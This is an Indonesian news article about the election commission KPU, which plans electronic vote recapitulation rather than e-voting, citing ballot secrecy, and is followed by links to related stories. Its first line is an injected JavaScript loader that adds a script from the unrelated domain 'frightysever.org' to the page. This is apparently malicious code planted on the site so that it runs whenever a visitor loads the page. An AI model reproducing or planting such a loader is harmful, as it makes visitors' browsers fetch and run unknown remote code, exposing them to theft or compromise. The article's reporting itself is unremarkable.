(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Komisioner KPU Pramono Ubaid Tanthowi mengatakan, pihaknya belum berkeinginan untuk mengembangkan elektronik voting (e-vote). Namun, yang tengah dikaji adalah rekapitulasi elektronik.
Adapun ini disampaikan saat menjadi pembicara dalam webinar yang diadakan The Habibie Center dengan tema Mewujudkan Pilkada Berkualitas di Tengah Pandemi Covid-19. “KPU dalam waktu-waktu ke depan tidak atau belum merancang penggunaan e-voting dalam pemilu kita.
Tetapi yang kita rancang rekapitulasi secara elektronik. Itu yang kita desain,” jelas Pramono, Selasa (16/6/2020) seperti dilansir merdeka.com.
Pramono menegaskan, pemungutan suara tetap dilakukan manual, begitu juga dengan penghitungan suara. Hanya saja, proses rekapitulasinya yang dilakukan dengan sistem e-rekapitulasi.
“Selama ini berjenjang dari tingkat kecamatan, kabupaten, provinsi dan nasional. Kita by pass dengan sistem elektronik,” kata Pramono.
Menurut dia, penerapan e-voting belum bisa dilakukan. Karena bisa mengurangi esensi rahasia dari Pemilu tersebut. “Salah satu elemen penting dari pemilunya menjadi hilang, yakni aspek rahasia. Karena, dengan memencet log history-nya, akan ketahuan siapa memilih partai apa, atau siapa memilih capres mana.
Salah satu asas penyelenggaraan pemilu paling dasar menjadi hilang. Tapi kalau dengan coblosan manual, itu terjamin,” tutur Pramono.
Dia menegaskan, rekapitulasi elektronik itu bekerja sama dengan ITB. Dan ini dilakukan secara resmi. KPU juga telah dan akan kembali melakukan simulasi terkait e-rekapitulasi tersebut. Hal ini guna memastikan sistem yang dibangun berjalan dengan baik tanpa ada kendala nantinya.
“Kita bekerja sama dengan teman-teman ITB, resmi secara kelembagaan KPU dengan Rektor ITB mendesain ini. Kita sudah lakukan beberapa kali simulasi. Minggu ini kita juga akan melakukan simulasi lagi terkait ini,” ungkap Pramono.
Namun, dia menegaskan, rekapitulasi elektronik ini masih dipertimbangkan penerapannya. Apakah seluruh daerah atau sebagian daerah saja pada Pilkada 2020. “Kita memang sedang menimbang-nimbang, apakah rekapitulasi elektronik ini akan kita terapkan di beberapa daerah saja dulu untuk Pilkada 2020 atau di seluruh Indonesia,” pungkasnya.
E-Rekap
KPU sebelumnya memang berencana memakai sistem rekapitulasi elektronik (e-rekap) dan salinan digital pada pemilu mendatang. Dengan cara ini biaya logistik, terutama kertas, dapat berkurang. Ketua KPU Arief Budiman menyorot penggunaan kertas dalam Pemilu 2019. Tercatat, sebanyak 978, 47 juta lembar kertas dipakai untuk kertas suara. Lalu, untuk sampul dan formulirnya masing-masing membutuhkan 58,89 juta lembar dan 130,74 miliar lembar kertas.
Dengan memakai e-rekap dan salinan digital, penggunaan kertas berkurang dan menghemat anggaran penyelenggaraan pemilu. “Dan tentu saja akan ramah lingkungan karena energi dari alam yang diserap juga berkurang,” kata Arief beberapa waktu lalu.
Pemakaian e-rekap diharapkan juga dapat meningkatkan kepercayaan masyarakat terhadap pelaksanaan pemilu. Pasalnya, sistem ini dapat mengurangi kesalahan dalam proses penghitungan suara.
Usul e-rekap sebelumnya sudah Arief kemukakan ketika bertemu dengan Presiden Jokowi pada 11 November 2019. Dengan sistem ini kerja petugas Kelompok Penyelenggara Pemungutan Suara atau KPPS jadi lebih mudah. Arief juga menilai cara tersebut dapat mengantisipasi adanya kasus petugas KPPS meninggal dunia akibat kelelahan. Pada Pemilu 2019, petugas KPPS yang wafat mencapai 527 jiwa.
Aplikasi e-rekap nantinya menjadi solusi proses pehitungan suara yang cepat. Salinan digital perolehan penghitungan suara secara otomatis menjadi hasil penetapan perolehan suara yang resmi.
“Hasil e-rekap adalah hasil penetapan perolehan suara pemilu. Hal ini berbeda dengan Situng KPU yang selama ini menjadi data pembanding,” ucapnya.
Sementara Direktur Eksekutif Perludem Titi Anggraini mengatakan masalah utama pemilu biasanya terjadi bukan saat pencoblosan, tapi proses rekapitulasi suara. Manipulasi kerap terjadi karena banyaknya tahapan dalam proses rekapitulasi. Jumlah suara yang dikeluarkan di TPS dapat berbeda dengan hasil rekapitulasi.
“Perludem mengusulkan implementasi e-rekap, daripada e-voting, untuk mencegah atau memutus rantai sengketa pemilu di Indonesia,” kata Titi. (Kanalkalimantan.com/merdeka)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.